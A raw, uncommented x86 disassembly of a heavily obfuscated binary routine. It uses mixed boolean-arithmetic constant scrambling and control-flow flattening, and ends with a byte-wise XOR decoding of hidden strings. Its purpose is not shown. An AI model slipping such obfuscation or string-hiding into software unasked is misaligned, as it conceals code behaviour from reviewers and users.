xor esi, 0x1cc944f6
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x1cc944f6
or eax, 0x1cc944f6
imul eax, edx
add eax, ecx
xor eax, 0xcface7db
and eax, 0xd18239c0
mov ecx, eax
and ecx, 0x4c9b078e
xor ecx, 0xffffffff
and eax, 0x4c9b078e
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xe92042f4
mov edx, 0xffffffff
xor edx, 0xe92042f4
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x198358e0
add eax, ecx
add eax, 1
mov esi, eax
xor esi, 0xffffffff
xor eax, 0xffffffff
or esi, eax
mov eax, 0x682d13d1
and eax, 0x682d13d1
xor eax, 0xffffffff
and esi, eax
xor esi, 0xffffffff
xor esi, 0x45b8dcd9
mov eax, esi
xor eax, 0xffffffff
and eax, 0xbb5cfda6
mov edx, 0xffffffff
xor edx, 0xbb5cfda6
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x9483fc96
and ecx, 0xbb5cfda6
and edx, 0x9483fc96
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xbb30b04e
mov esi, 0xffffffff
xor esi, 0xbb30b04e
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xbb30b04e
or eax, 0xbb30b04e
imul eax, edx
add eax, ecx
add eax, 0xc29f71fc
sub eax, 0x7c829139
sub eax, 0xc29f71fc
add eax, 0x32bf14d9
mov ecx, 0x25e61e08
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov esi, ecx
and esi, esi
xor esi, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf7c43ba7
or esi, edx
mov edx, 0xffffffff
xor edx, 0xf7c43ba7
mov edi, 0xffffffff
xor edi, 0xf7c43ba7
or edx, edi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor esi, 0xffffffff
xor ecx, 0xffffffff
or esi, ecx
mov ecx, 0x9fc355d1
mov edx, 0x9de7260d
cmp esi, 0x6f73b07a
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d20]
xor edx, edx
div dword [0x101d1d24]
mov ecx, eax
mov eax, ecx
xor eax, 0xf4cd8cfc
xor eax, 0xffffffff
or ecx, 0xf4cd8cfc
and ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x2347f406
mov esi, 0xffffffff
xor esi, 0x2347f406
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x2347f406
or ecx, 0x2347f406
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x94096582
mov edx, 0xffffffff
xor edx, 0x94096582
and ecx, edx
or eax, ecx
xor eax, 0x9feae34b
mov ecx, eax
xor ecx, 0xf0b6d176
xor ecx, 0xffffffff
and ecx, 0xf0b6d176
shl ecx, 1
sub ecx, 0xf0b6d176
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x4b43b6b9
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x4b43b6b9
or eax, 0x4b43b6b9
imul eax, edx
add eax, ecx
add eax, 0x3045d804
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xa8999673
or edx, 0xa8999673
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, 0xa8999673
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x925ff763
add ecx, eax
add ecx, 1
sub ecx, 0x40a509a2
mov edx, 0xffffffff
xor edx, 0xf362ae85
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x3c], ecx
mov esi, 0xffffffff
xor esi, 0x5e1054df
mov edx, 0xffffffff
xor edx, 0x1c507f11
and ecx, 0x1c507f11
and eax, edx
mov edi, esi
and edi, 0x1c507f11
mov ebx, edx
and ebx, 0x5e1054df
or ecx, eax
mov eax, dword [ebp - 0x3c]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x1c507f11
and eax, edx
or ecx, eax
sub ecx, 0xe3dfb764
and ecx, 0xa98d66a9
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd1ebbf8d
and eax, edx
or ecx, 0xd1ebbf8d
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x37bc72f1
mov esi, 0xffffffff
xor esi, 0x37bc72f1
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x37bc72f1
or eax, 0x37bc72f1
imul eax, edx
add eax, ecx
mov ecx, 0x391c833d
xor edx, edx
div ecx
add eax, 0xa4a694f0
xor eax, 0xa19fc52a
imul eax, eax, 0x876a179c
add eax, 0xe272810d
sub eax, 0x3d2699d9
sub eax, 0xe272810d
or eax, 0xdd9e9786
mov ecx, 0xd16b119b
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x182a4c51
sub ecx, 0xbff928a5
sub ecx, 0x182a4c51
add ecx, 0x6a78d99a
sub ecx, 0x52f703a2
mov edx, 0xffffffff
xor edx, 0xa6bc69de
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xa6bc69de
add ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x38], eax
mov esi, 0xffffffff
xor esi, 0x3c086e8b
mov edx, 0xffffffff
xor edx, 0x33434263
and eax, 0x33434263
and ecx, edx
mov edi, esi
and edi, 0x33434263
mov ebx, edx
and ebx, 0x3c086e8b
or eax, ecx
mov ecx, dword [ebp - 0x38]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x33434263
and ecx, edx
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xe5108d01
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
and eax, 0xd8edb290
mov ecx, eax
and ecx, 0x393fa1d9
shl ecx, 1
add eax, 0x393fa1d9
sub eax, ecx
sub eax, 0x7007d25a
and eax, 0xa0087600
add eax, 0xd9af5027
mov ecx, 0x800eb65a
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x99576e66
or edx, 0x99576e66
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0x99576e66
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
imul ecx, eax, 0xeebc708
mov edx, 0xffffffff
xor edx, 0xd762b9fa
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xd762b9fa
add ecx, edx
sub ecx, eax
or ecx, 0x5afb8d69
add ecx, 0x459b425d
mov edx, 0xffffffff
xor edx, 0xc0f30061
mov eax, ecx
xor eax, edx
and eax, ecx
xor eax, 0x84a5f7c9
sub eax, 0xe0099271
sub eax, 0xa639b87c
add eax, 0xe0099271
sub eax, 0x54bf8e92
mov ecx, 0x1ddc0014
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, edx
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x7925ac67
and ecx, esi
or edx, 0x7925ac67
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
mov esi, ecx
xor esi, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and esi, edx
mov edx, 0x4b654a41
or edx, 0x4b654a41
xor edx, 0xffffffff
or esi, edx
xor esi, 0xffffffff
or ecx, 0x4b654a41
xor ecx, 0xffffffff
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
mov edx, esi
xor edx, 0xffffffff
and edx, 0x854c1678
mov edi, 0xffffffff
xor edi, 0x854c1678
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0x854c1678
or esi, 0x854c1678
imul esi, edx
add esi, ecx
mov ecx, esi
and ecx, 0x88d8635a
xor ecx, 0xffffffff
add esi, 0x88d8635a
add esi, 1
add esi, ecx
sub esi, 0x6c1d600
mov ecx, 0xad30b87d
mov edx, 0x9de7260d
cmp esi, 0xba7cdfa5
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x29]
mov ecx, 0xe34e4d4d
mov edx, 0x8bc8924c
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d28]
or eax, dword [0x101d1d2c]
mov esi, 0xffffffff
xor esi, 0xb52a3681
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xb52a3681
or eax, 0xb52a3681
imul eax, edx
add eax, ecx
and eax, 0xa861679e
add eax, 0xc772f75f
sub eax, 0xab14f5d7
xor eax, 0xa6f08565
mov ecx, eax
or ecx, 0x43892985
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x43892985
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0x6b253bc3
shl eax, 1
add ecx, 0x6b253bc3
sub ecx, eax
mov eax, ecx
xor eax, 0x6aa6558c
mov edx, 0xffffffff
xor edx, 0x6aa6558c
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, ecx
and eax, 0x7b2f304
xor ecx, 0x7b2f304
or eax, ecx
mov ecx, eax
and ecx, 0x122c5b57
xor ecx, 0xffffffff
and eax, 0x122c5b57
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xbe5f8b77
add ecx, 0x83e30308
mov esi, 0xffffffff
xor esi, 0x425c86ac
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x425c86ac
or ecx, 0x425c86ac
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0xa9abbb4
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa9abbb4
mov esi, 0xffffffff
xor esi, 0xa9abbb4
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x2621e771
or esi, ecx
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x2621e771
or eax, ecx
and esi, eax
xor esi, 0xffffffff
mov eax, esi
xor eax, 0xffffffff
and eax, 0x49489cf9
mov edx, 0xffffffff
xor edx, 0x49489cf9
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xfe80ac33
and ecx, 0x49489cf9
and edx, 0xfe80ac33
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, eax
and ecx, 0xfc21efb3
xor eax, 0xfc21efb3
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe00125c9
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe00125c9
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x51dc8a64
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, 0x2d74dfbf
and eax, 0x2d74dfbf
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x22c34be
mov esi, 0xffffffff
xor esi, 0x22c34be
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x22c34be
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
sub eax, 0xe36c71cc
mov ecx, 0x7c097d5d
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xcc9c2fa0
and ecx, 0x306d5ac1
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf8df49cf
mov eax, 0xffffffff
xor eax, 0x4e05abc1
or ecx, edx
or eax, 0x4e05abc1
xor ecx, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x27b3348f
mov eax, 0xffffffff
xor eax, 0x7af3464
or ecx, edx
or eax, 0x7af3464
xor ecx, 0xffffffff
and ecx, eax
sub ecx, 0x59f1e59c
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x4badfd11
mov esi, 0xffffffff
xor esi, 0x4badfd11
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x4badfd11
or ecx, 0x4badfd11
imul ecx, edx
add ecx, eax
mov esi, 0xffffffff
xor esi, 0xe20eeb91
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xe20eeb91
or ecx, 0xe20eeb91
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x48], eax
mov esi, 0xffffffff
xor esi, 0xb4bdd6f2
mov edx, 0xffffffff
xor edx, 0x2f2b4b6f
and eax, 0x2f2b4b6f
and ecx, edx
mov edi, esi
and edi, 0x2f2b4b6f
mov ebx, edx
and ebx, 0xb4bdd6f2
or eax, ecx
mov ecx, dword [ebp - 0x48]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x2f2b4b6f
and ecx, edx
or eax, ecx
add eax, 0x81175eb
and eax, 0xee909139
xor eax, 0x33ccd18e
mov edx, eax
xor edx, 0xffffffff
and edx, 0xaf8d2268
mov esi, 0xffffffff
xor esi, 0xaf8d2268
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xaf8d2268
or eax, 0xaf8d2268
imul eax, edx
add eax, ecx
mov ecx, 0x3cf44e09
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xf72debf0
and edx, 0x9623e3c9
mov esi, edx
xor esi, 0xffffffff
and esi, 0xe5b363a7
mov ecx, 0xffffffff
xor ecx, 0xe5b363a7
and edx, ecx
mov eax, 0xffffffff
xor eax, 0xe1621dfa
and eax, 0xe5b363a7
and ecx, 0xe1621dfa
or esi, edx
or eax, ecx
xor esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xa90ee5d2
mov edx, 0xffffffff
xor edx, 0xa90ee5d2
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x653104c3
and ecx, 0xa90ee5d2
and edx, 0x653104c3
or eax, esi
or ecx, edx
xor eax, ecx
imul eax, eax, 0x1076b623
add eax, 0xf24d007c
add eax, 0x4f5173e1
sub eax, 0xf24d007c
mov edx, eax
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x1169d377
mov esi, 0xffffffff
xor esi, 0x49ba6dbd
mov ecx, edx
and ecx, 0x49ba6dbd
and eax, esi
mov dword [ebp - 0x44], eax
mov ebx, edi
and ebx, 0x49ba6dbd
mov eax, esi
and eax, 0x1169d377
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x44]
or ecx, eax
mov eax, dword [ebp - 0x40]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x49ba6dbd
and edx, esi
or ecx, edx
or ecx, 0x841e4c33
imul esi, ecx, 0x55701f45
add esi, 0x2a0e1bec
add esi, 0x5a780593
sub esi, 0x2a0e1bec
mov ecx, esi
and ecx, 0xb274952d
xor ecx, 0xffffffff
add esi, 0xb274952d
add esi, 1
add esi, ecx
add esi, 0x4482b61a
add esi, 0x8acf9fe3
sub esi, 0x4482b61a
sub esi, 0x905e9968
add esi, 0x1d34826f
add esi, 0x905e9968
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcdddcecc
mov ecx, 0xffffffff
xor ecx, 0x77892a73
or esi, edx
or ecx, 0x77892a73
xor esi, 0xffffffff
and esi, ecx
mov ecx, 0xcd8ed6d6
mov edx, 0x30ad6511
cmp esi, 0x5698a41d
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov ecx, dword [0x101d1d30]
mov eax, dword [0x101d1d34]
add ecx, 0xa5eb4683
sub ecx, eax
sub ecx, 0xa5eb4683
mov esi, 0xffffffff
xor esi, 0x8d84e3ed
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x8d84e3ed
or ecx, 0x8d84e3ed
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x493a5df6
xor eax, 0xffffffff
add ecx, 0x493a5df6
add ecx, 1
add ecx, eax
mov esi, 0xffffffff
xor esi, 0x8bd7331
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x8bd7331
or ecx, 0x8bd7331
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0x4c17b74e
xor eax, 0xffffffff
and eax, 0x4c17b74e
shl eax, 1
sub eax, 0x4c17b74e
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x473146cb
mov edx, 0xffffffff
xor edx, 0x473146cb
and ecx, edx
sub ecx, eax
xor ecx, 0x7cf32cd5
mov eax, ecx
xor eax, 0x7c74ebda
mov edx, 0xffffffff
xor edx, 0x7c74ebda
and ecx, edx
shl ecx, 1
sub ecx, eax
sub ecx, 0x60a5cac7
mov eax, ecx
and eax, 0xcbc1dcfb
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcbc1dcfb
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x2f66a30a
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x3e085f1b
shl eax, 1
add ecx, 0x3e085f1b
sub ecx, eax
mov esi, 0xffffffff
xor esi, 0xddc8ecfd
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xddc8ecfd
or ecx, 0xddc8ecfd
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x12f7ed49
or ecx, 0x12f7ed49
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x13150292
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, 0x6718b5b5
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6718b5b5
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
and eax, eax
xor eax, 0xffffffff
mov ecx, 0x93a243b7
and ecx, 0x93a243b7
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
sub eax, 0x88daabac
imul ecx, eax, 0xfb75816a
mov eax, ecx
or eax, 0x37a4276
xor eax, 0xffffffff
or ecx, 0x37a4276
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
add eax, 0x9cf4bd81
mov ecx, 0x66b81633
xor edx, edx
div ecx
xor eax, 0x932f9652
mov ecx, 0x92efdf04
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xef65225b
mov esi, 0xffffffff
xor esi, 0xef65225b
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xef65225b
or ecx, 0xef65225b
imul ecx, edx
add ecx, eax
sub ecx, 0xfccf6075
mov eax, ecx
or eax, 0xad5d53e2
xor eax, 0xffffffff
or ecx, 0xad5d53e2
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
add eax, 0xaf02463c
add eax, 0x8eba88f7
sub eax, 0xaf02463c
mov ecx, 0xad8a028c
xor edx, edx
div ecx
mov ecx, 0xbd6cd341
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x9976bb2d
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9976bb2d
or eax, 0x9976bb2d
imul eax, edx
add eax, ecx
and eax, 0x61c1a11e
imul eax, eax, 0x2d57ef0d
imul eax, eax, 0x1e28d941
mov ecx, 0x5b4132d6
xor edx, edx
div ecx
or eax, 0xd5639749
imul ecx, eax, 0xdbe34859
and ecx, 0x94e00b6b
add ecx, 0x87c67f6a
mov eax, ecx
and eax, 0x77f865d8
or ecx, 0x77f865d8
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x4ab87981
mov esi, 0xffffffff
xor esi, 0x4ab87981
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x4ab87981
or eax, 0x4ab87981
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x65bcdf2e
shl ecx, 1
xor eax, 0x65bcdf2e
add eax, ecx
add eax, 0xff9722d8
add eax, 0xb64fb974
mov ecx, eax
xor ecx, 0x94db9584
xor ecx, 0xffffffff
and ecx, 0x94db9584
shl ecx, 1
sub ecx, 0x94db9584
sub eax, ecx
mov ecx, 0xb429257e
xor edx, edx
div ecx
mov esi, eax
mov eax, esi
add eax, 1
xor esi, 0xffffffff
or esi, 0x784912b
add esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x9fc15bd0
mov edx, 0xffffffff
xor edx, 0x9fc15bd0
and esi, edx
mov eax, 0xffffffff
xor eax, 0x9481c044
and eax, 0x9fc15bd0
and edx, 0x9481c044
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0x99df702c
or edx, 0x99df702c
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x99df702c
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xae438b59
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xd5c9d8a4
mov edx, 0xffffffff
xor edx, 0xd5c9d8a4
and ecx, edx
or esi, ecx
mov ecx, 0xb9ca828e
mov edx, 0xdcf099a3
cmp esi, 0x31e8bdea
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d38]
or eax, dword [0x101d1d3c]
and eax, 0xa3ab8379
mov edx, eax
xor edx, 0xffffffff
and edx, 0xcea2a066
mov esi, 0xffffffff
xor esi, 0xcea2a066
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xcea2a066
or eax, 0xcea2a066
imul eax, edx
add eax, ecx
imul eax, eax, 0x62d8f1ba
imul eax, eax, 0x3dbc4858
mov ecx, 0x649ceb41
xor edx, edx
div ecx
sub eax, 0x7030487d
and eax, 0xb1fdbf38
sub eax, 0x5a46d940
or eax, 0x77f373cc
xor eax, 0xce321dcd
and eax, 0x47c6847d
imul ecx, eax, 0xa66126fe
mov esi, 0xffffffff
xor esi, 0xf455bb1
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xf455bb1
or ecx, 0xf455bb1
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x1ff1aade
mov edx, 0xffffffff
xor edx, 0x1ff1aade
and ecx, edx
or eax, ecx
imul eax, eax, 0xd8da38d9
and eax, 0xd158081e
or eax, 0x38fef1e5
or eax, 0xba5c2761
xor ecx, ecx
sub ecx, 0xbeca1971
add eax, ecx
or eax, 0x331d61a8
xor eax, 0x9748aa2c
or eax, 0x852f72c0
xor eax, 0x35ec59bb
mov ecx, eax
xor ecx, 0x356269fc
xor ecx, 0xffffffff
and ecx, 0x356269fc
shl ecx, 1
sub ecx, 0x356269fc
sub eax, ecx
imul eax, eax, 0x7de687ed
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe21f2ee
mov esi, 0xffffffff
xor esi, 0xe21f2ee
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xe21f2ee
or eax, 0xe21f2ee
imul eax, edx
add eax, ecx
mov ecx, 0x37106436
xor edx, edx
div ecx
add eax, 0xd7a2a74d
mov ecx, 0x5142ea5
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xe56e42e3
mov edx, 0xffffffff
xor edx, 0xe56e42e3
and eax, edx
sub eax, ecx
mov ecx, 0x7a823c7c
xor edx, edx
div ecx
and eax, 0x4b9cad61
add eax, 0x9e8201a0
and eax, 0x3a9d0f81
mov ecx, eax
xor ecx, 0x441376a0
xor ecx, 0xffffffff
and ecx, 0x441376a0
shl ecx, 1
sub ecx, 0x441376a0
sub eax, ecx
mov ecx, eax
xor ecx, 0x25a37816
mov edx, 0xffffffff
xor edx, 0x25a37816
and eax, edx
shl eax, 1
sub eax, ecx
xor eax, 0x3dfb7a8b
mov ecx, eax
and ecx, 0x24048aba
xor eax, 0x24048aba
or ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0x51eb857b
and eax, 0x51eb857b
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
and ecx, 0x4762d27f
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x67a7abcc
mov edx, 0xffffffff
xor edx, 0x67a7abcc
and ecx, edx
or eax, ecx
mov esi, 0xffffffff
xor esi, 0x51369d6b
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x51369d6b
or eax, 0x51369d6b
imul eax, edx
add eax, ecx
xor eax, 0x16b7b63f
mov ecx, 0x7de0e033
xor edx, edx
div ecx
or eax, 0x3d217512
sub eax, 0x40c0fe26
imul eax, eax, 0xe156ec60
mov ecx, 0xbb02b1d7
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov edi, 0xffffffff
xor edi, 0x17794a59
mov edx, esi
and edx, edi
mov ecx, esi
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, esi
and edx, 0x17794a59
or esi, 0x17794a59
imul esi, edx
add esi, ecx
sub esi, 0xc0694de4
mov dl, byte [0x101cf791]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x5e
xor cl, 0xff
mov ch, 0xff
xor ch, 0x5e
mov dh, 0xff
xor dh, 0x5e
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf7a0], cl
mov dl, byte [0x101cf792]
mov cl, dl
xor cl, 0xff
and cl, 0xdb
mov ch, 0xff
xor ch, 0xdb
and dl, ch
or cl, dl
mov byte [0x101cf7a2], cl
mov cl, byte [0x101cf793]
xor cl, 0x66
mov byte [0x101cf7a3], cl
mov cl, byte [0x101cf794]
mov dl, cl
xor dl, 0x16
xor dl, 0xff
and dl, 0x16
shl dl, 1
sub dl, 0x16
sub cl, dl
mov byte [0x101cf7a4], cl
mov cl, byte [0x101cf795]
xor cl, 0x92
mov byte [0x101cf7a6], cl
mov dl, byte [0x101cf796]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xb4
or cl, ch
mov ch, 0xb4
and ch, 0xb4
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [str.qe_d], cl
mov dl, byte [0x101cf797]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xb
mov dh, 0xff
xor dh, 0xb
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xb
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf7a8], cl
mov dl, byte [0x101cf798]
mov cl, dl
xor cl, 0xff
and cl, 0xea
mov ch, 0xff
xor ch, 0xea
and dl, ch
or cl, dl
mov byte [0x101cf7a9], cl
mov cl, byte [0x101cf799]
xor cl, 0xd5
mov byte [0x101cf7ab], cl
mov dl, byte [0x101cf79a]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x50
mov dh, 0xff
xor dh, 0x50
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0x50
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf7ac], cl
mov cl, byte [0x101cf79b]
xor cl, 0x7c
mov byte [0x101cf7ad], cl
mov dl, byte [0x101cf79c]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x94
mov dh, 0xff
xor dh, 0x94
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x94
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cf7ae], cl
